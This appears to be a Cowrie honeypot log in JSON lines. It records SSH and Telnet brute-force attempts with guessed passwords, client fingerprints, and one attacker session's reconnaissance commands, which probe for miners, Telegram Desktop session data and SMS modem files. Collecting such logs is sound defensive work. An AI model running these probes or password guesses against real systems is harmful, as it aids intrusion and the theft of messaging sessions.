{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:45.469634Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:45.471997Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22111981","message":"login attempt [root/22111981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:45.608732Z","src_ip":"109.237.96.109","session":"3c0c73a18a7f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":3437,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:45.815847Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:46.233959Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:46.236052Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:46.435508Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:46.704294Z","src_ip":"109.237.96.109","session":"3c0c73a18a7f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:46.858206Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:46.860275Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:47.065693Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:47.531386Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:47.534326Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:47.736202Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:48.302490Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:48.304447Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":56130,"dst_ip":"10.17.0.5","dst_port":22,"session":"892334a74bb8","protocol":"ssh","message":"New connection: 91.92.40.176:56130 (10.17.0.5:22) [session: 892334a74bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:48.339420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:48.342597Z","src_ip":"91.92.40.176","session":"892334a74bb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:48.449773Z","src_ip":"91.92.40.176","session":"892334a74bb8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:48.531051Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache123","message":"login attempt [apache/apache123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:48.748549Z","src_ip":"91.92.40.176","session":"892334a74bb8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:48.981515Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:48.983973Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:49.181052Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:50.018305Z","src_ip":"91.92.40.176","session":"892334a74bb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55874,"dst_ip":"159.203.135.109","dst_port":23,"session":"72bf53eefca8","protocol":"telnet","message":"New connection: 170.64.224.25:55874 (159.203.135.109:23) [session: 72bf53eefca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:00.617342Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":60980,"dst_ip":"159.203.135.109","dst_port":22,"session":"18f756a6bb27","protocol":"ssh","message":"New connection: 172.190.89.127:60980 (159.203.135.109:22) [session: 18f756a6bb27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:11.689987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:11.693966Z","src_ip":"172.190.89.127","session":"18f756a6bb27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:11.705396Z","src_ip":"172.190.89.127","session":"18f756a6bb27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin.2010","message":"login attempt [root/Admin.2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:11.786616Z","src_ip":"172.190.89.127","session":"18f756a6bb27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:12.802250Z","src_ip":"172.190.89.127","session":"18f756a6bb27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":58330,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d804c6b5698","protocol":"ssh","message":"New connection: 162.144.64.128:58330 (159.203.135.109:22) [session: 5d804c6b5698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:21.461002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:21.464662Z","src_ip":"162.144.64.128","session":"5d804c6b5698","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:21.553300Z","src_ip":"162.144.64.128","session":"5d804c6b5698","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dash","password":"dash456","message":"login attempt [dash/dash456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:21.820772Z","src_ip":"162.144.64.128","session":"5d804c6b5698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.84","src_port":42652,"dst_ip":"159.203.135.109","dst_port":22,"session":"90b4c442e8f4","protocol":"ssh","message":"New connection: 41.242.115.84:42652 (159.203.135.109:22) [session: 90b4c442e8f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:33.564373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:33.566872Z","src_ip":"41.242.115.84","session":"90b4c442e8f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:33.779210Z","src_ip":"41.242.115.84","session":"90b4c442e8f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ab1234","message":"login attempt [root/ab1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:34.650424Z","src_ip":"41.242.115.84","session":"90b4c442e8f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:35.862993Z","src_ip":"41.242.115.84","session":"90b4c442e8f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.38.131.149","src_port":49880,"dst_ip":"159.203.135.109","dst_port":22,"session":"15b3d350c98b","protocol":"ssh","message":"New connection: 59.38.131.149:49880 (159.203.135.109:22) [session: 15b3d350c98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:38.527955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:38.531102Z","src_ip":"59.38.131.149","session":"15b3d350c98b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:38.770716Z","src_ip":"59.38.131.149","session":"15b3d350c98b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567u","message":"login attempt [root/1234567u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:39.765467Z","src_ip":"59.38.131.149","session":"15b3d350c98b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:41.008336Z","src_ip":"59.38.131.149","session":"15b3d350c98b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":40782,"dst_ip":"159.203.135.109","dst_port":22,"session":"df8fa99124d7","protocol":"ssh","message":"New connection: 103.27.238.114:40782 (159.203.135.109:22) [session: df8fa99124d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:44.088235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:44.092016Z","src_ip":"103.27.238.114","session":"df8fa99124d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:44.355575Z","src_ip":"103.27.238.114","session":"df8fa99124d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"katie","message":"login attempt [root/katie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:45.150870Z","src_ip":"103.27.238.114","session":"df8fa99124d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.37313461303711,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:39:45.990307Z","src_ip":"170.64.224.25","session":"72bf53eefca8","protocol":"telnet"}
